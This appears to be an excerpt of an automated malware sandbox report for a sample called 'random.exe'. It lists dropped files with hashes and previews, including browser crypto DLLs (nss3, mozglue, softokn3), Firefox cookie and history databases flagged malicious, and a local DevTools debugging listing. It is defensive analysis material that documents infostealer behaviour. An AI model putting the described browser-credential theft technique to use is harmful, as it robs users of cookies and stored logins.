Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF394de.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089786393096571
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWJdi1zNtPMokzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynTfkzItSmd6qE7lFoC
MD5:	AD52EA520D6F86048BD9C9053429997A
SHA1:	2EE1FB4F4E1B5EF820AFE73E9F1553F4E061D1F8
SHA-256:	4182076F4683BD5F9A03F7E29E59E59CD7B580314E413AC00D15C15209689AC5
SHA-512:	B1D5C329CC0614DA0588B4A8424D889C96F24C1DEF6DAD1E990A19A6AB0B95CAE67D95EB81B5F4C40889185A5B26166FB14AA8D0A676F05C89B3F992D159206C
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	85
Entropy (8bit):	4.3488360343066725
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ25AmIpozQp:YQ3Kq9X0dMgAEiLIj
MD5:	8549C255650427D618EF18B14DFD2B56
SHA1:	8272585186777B344DB3960DF62B00F570D247F6
SHA-256:	40395D9CA4B65D48DEAC792844A77D4F8051F1CEF30DF561DACFEEED3C3BAE13
SHA-512:	E5BB8A0AD338372635C3629E306604E3DC5A5C26FB5547A3DD7E404E5261630612C07326E7EBF5B47ABAFADE8E555965A1A59A1EECFC496DCDD5003048898A8C
Malicious:	false
Preview:	{"user_experience_metrics.stability.exited_cleanly":true,"variations_crash_streak":1}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\a6f36fc4-38a4-410c-babe-23e3844ac67b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44902
Entropy (8bit):	6.094898629244045
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWdZi1zNtW9RPZNdlJ7PhDbKJDSgzMMd6qD47u3+CiB:+/Ps+wsI7ynKBhKtSmd6qE7lFoC
MD5:	833130272195CAECA56279731C1AEDAB
SHA1:	F6E97B9AC5B4E0692378D6EDCD8F4AEBF52F6F44
SHA-256:	F9BCFDDFD0A53520FB7D8703A0BE6A7C173D3D0CF027FDADEA16AF1176EB74D0
SHA-512:	E2802E28D2B0AA1BEC882A6F2D4EA8D272DCFD471F6A9E68CEB0B1954A9EBB9C671E10505BFC83FE3F4B22A2E9C1AFE2F6CF9DC01CBBC0B7E72E408BD52C0190
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\afc006ca-cf00-4eb0-94ac-2ac9b3224833.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44925
Entropy (8bit):	6.095096706989203
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWfZi1zNtW9RPZ9j3D3RhDznKJDSgzMMd6qD47u3+CO:+/Ps+wsI7ynKBNKtSmd6qE7lFoC
MD5:	1A78B5A96DACE853418876A1D2BEA074
SHA1:	26D96CFC29C36C96369CE4C2563EF0449388AE9F
SHA-256:	8BDF6A59BD0363627A2B6D29735D7D56FD2B4FED2D309E13B60B8D0E16624671
SHA-512:	42A4363078BB43100904065924A2AE87B8256BAE868A9DB19C2A9A39AD66309153EF14A264B91FCCFA8660960697D0974D0E01492BE547DB426264CC62104238
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\c00198d2-a5e3-4e7b-948f-8e76cff75dc1.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089786393096571
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWJdi1zNtPMokzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynTfkzItSmd6qE7lFoC
MD5:	AD52EA520D6F86048BD9C9053429997A
SHA1:	2EE1FB4F4E1B5EF820AFE73E9F1553F4E061D1F8
SHA-256:	4182076F4683BD5F9A03F7E29E59E59CD7B580314E413AC00D15C15209689AC5
SHA-512:	B1D5C329CC0614DA0588B4A8424D889C96F24C1DEF6DAD1E990A19A6AB0B95CAE67D95EB81B5F4C40889185A5B26166FB14AA8D0A676F05C89B3F992D159206C
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\cfe939ea-e5b9-4218-aed7-860d5a38ee5b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44902
Entropy (8bit):	6.094898629244045
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWdZi1zNtW9RPZNdlJ7PhDbKJDSgzMMd6qD47u3+CiB:+/Ps+wsI7ynKBhKtSmd6qE7lFoC
MD5:	833130272195CAECA56279731C1AEDAB
SHA1:	F6E97B9AC5B4E0692378D6EDCD8F4AEBF52F6F44
SHA-256:	F9BCFDDFD0A53520FB7D8703A0BE6A7C173D3D0CF027FDADEA16AF1176EB74D0
SHA-512:	E2802E28D2B0AA1BEC882A6F2D4EA8D272DCFD471F6A9E68CEB0B1954A9EBB9C671E10505BFC83FE3F4B22A2E9C1AFE2F6CF9DC01CBBC0B7E72E408BD52C0190
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\random.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\random.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\random.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\random.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\random.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\random.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\json[1].json

Download File

Process:	C:\Users\user\Desktop\random.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	5.366130494565577
Encrypted:	false
SSDEEP:	48:SfNaoQRkTkPTEQRWfNaoQsiqQs9fNaoQpQPfNaoQV0UrU0U8Qz:6NnQRumTEQR+NnQsiqQspNnQpQnNnQVY
MD5:	A1F7D2D2778BFC4F0AE5909F5CDAD43B
SHA1:	5C91528DCB199532A674DEEE629DEAF1A5127665
SHA-256:	91D8D1C3C7807BD67EB0FE0E7064E7E7A884D2470ED86A709AEFFAE92A1BC623
SHA-512:	7D49BF75CFD7FEF8B45E5F453F0A6A9A761B9380326B49377EC6928FCD45EE8A7DB971371F9E23EED650D04D69FAEA0CC7591C24D9D11670DECA7625AE540310
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/AD4D060949CA607B5D9BEEB424C109E1",.. "id": "AD4D060949CA607B5D9BEEB424C109E1",.. "title": "Google Network Speech",.. "type": "background_page",.. "url": "chrome-extension://neajdppkdcdipfabeoofebfddakdcjhd/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/AD4D060949CA607B5D9BEEB424C109E1"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/6B1870A328E39063DC1097E266331889",.. "id": "6B1870A328E39063DC1097E266331889",.. "title": "Google Hangouts",.. "type": "background_page",.. "url": "chrome-extension://nkeimhogjdpnpccoofpliimaahmaaome/background.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/6B1870A328E39063DC1097E266331889"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtoo

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\random.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	true
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\random.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	true
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 93

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2412)
Category:	downloaded
Size (bytes):	171845
Entropy (8bit):	5.5552243130268115
Encrypted:	false
SSDEEP:	3072:VYjt0GQnb64a3OwOYrNwWYqJFBE+RTSPnrhBltXDiNlvMBpS1nPeq+F+fkSkj5kx:VYjt0fb64a3OwOYrNwWhJFBE+R2PrhBA
MD5:	7F19D9586787C1D1C2D28873A51EF066
SHA1:	8134C350DAC1DC64704EE91CDDACBFDBE9409D15
SHA-256:	2D88BC9C86BDC338E32B9AC32B5193CD79DED498775946A31B22FB5C0B2641CA
SHA-512:	4B2439B1BDB090C247E535DC6A126831171CACB8585A9A2869E8F634A249DA2BAEA6E1A5C4FBF70097AECA64D915DA7818CB2933E8DCA6044AB6150D61CE1A7E
Malicious:	false
URL:	"https://www.gstatic.com/og/_/js/k=og.qtm.en_US.ewNYOTtoM3M.2019.O/rt=j/m=q_dnp,qmd,qcwid,qapid,qald,qads,q_dg/exm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/rs=AA2YrTtNk2aZJ51QiD8lNS04_Z_47poXsg"
